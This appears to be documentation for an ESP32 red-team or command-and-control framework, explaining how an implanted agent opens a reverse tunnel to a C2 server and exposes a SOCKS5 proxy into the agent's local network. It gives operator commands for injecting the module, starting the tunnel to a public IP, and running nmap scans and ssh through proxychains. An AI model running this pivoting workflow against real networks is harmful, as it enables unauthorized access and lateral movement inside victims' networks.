Reverse Tunnel & SOCKS5 Proxy¶

Authorized Use Only

Use the tunnel only on networks and devices you own or have explicit written authorization to test.

The reverse tunnel lets an operator route TCP traffic through a connected agent. The ESP32 opens an outbound connection to C3PO, then C3PO exposes a local SOCKS5 proxy (127.0.0.1:1080). Tools on the operator machine (or on the C3PO host) can reach the agent's local network via proxychains.

This is a capability of mod_network. No special C3PO server configuration is needed beyond a reachable public IP.

Architecture¶

┌──────────────────────────────────────────────────┐
│  Operator machine                                 │
│  proxychains curl http://192.168.1.1              │
│       │                                           │
│  SOCKS5 127.0.0.1:1080 ◄─── C3PO tunnel server   │
└──────────────────────────────────────────────────┘
                               │ TCP :2627
                               ▼
                       ┌──────────────┐
                       │  ESP32 agent │
                       │  (tun_task)  │
                       │  LAN target  │
                       └──────────────┘

The agent connects outbound to C3PO on port 2627 (distinct from the C2 port 2626).
After the espilon-tunnel-v1 handshake, C3PO accepts SOCKS5 CONNECT requests and translates them into tunnel frames sent to the agent.
The agent establishes the requested TCP connection on the target network and relays data back.

Prerequisites¶

C3PO running with the tunnel server enabled (default).
The C3PO host has a public IP reachable by the agent (e.g. the OVH server at port 2627).
proxychains installed on the machine that will send traffic.
proxychains.conf points to socks5 127.0.0.1 1080.

Operator workflow¶

1. Inject mod_network¶

c3po-admin inject <device> mod_network

The compiler resolves the correct architecture automatically (RISC-V for C6, Xtensa for S3/classic).

2. Start the tunnel¶

c3po-admin cmd <device> tun_start <c3po_public_ip>

Example:

c3po-admin cmd home-esp32s3-1 tun_start 54.38.214.103

The agent connects to <c3po_public_ip>:2627, authenticates, and the tunnel is live. The command returns immediately; the tunnel runs in a background task on the device.

3. Verify tunnel state¶

c3po-admin tunnel

Expected output when a tunnel is active:

DEVICE                       CHANNELS   ACTIVE
--------------------------------------------------
home-esp32s3-1               0          <-- SOCKS5

SOCKS5 proxy routes via: home-esp32s3-1
  proxychains curl http://192.168.1.1
  (requires: socks5 127.0.0.1 1080 in /etc/proxychains.conf)

4. Route traffic¶

If multiple agents have an active tunnel, select which one the SOCKS5 proxy routes through:

c3po-admin tunnel-route <device>

5. Use the proxy¶

Run any TCP tool via proxychains on the C3PO host:

proxychains curl http://192.168.1.1
proxychains nmap -sT -p 80,443,8080 192.168.1.0/24
proxychains ssh user@192.168.1.100

Note

proxychains must be configured on the C3PO host (OVH or wherever C3PO runs). For local operator use, SSH-forward port 1080 first: ssh -L 1080:127.0.0.1:1080 ovh.

6. Stop the tunnel¶

c3po-admin cmd <device> tun_stop

Or check status at any time:

c3po-admin cmd <device> tun_status

Platform notes¶

Chip	Architecture	Stack (tun_task)
ESP32, ESP32-S3	Xtensa	3072 words (~12 KB)
ESP32-C6	RISC-V	12288 bytes (12 KB)

The mod_network compiler handles this automatically via #ifdef __riscv. No operator action needed.

Tunnel frame protocol¶

Each frame sent over the TCP tunnel has the form:

[chan_id : 2 bytes][type : 1 byte][len : 2 bytes][data : len bytes]

Type	Direction	Meaning
`OPEN`	C3PO → agent	Open a new TCP channel to a target host:port
`DATA`	bidirectional	Relay payload bytes
`CLOSE`	bidirectional	Tear down a channel

The tunnel connection itself is authenticated with crypto_encrypt("espilon-tunnel-v1") on connect; C3PO replies 0x00 (reject) or 0x01 (accept).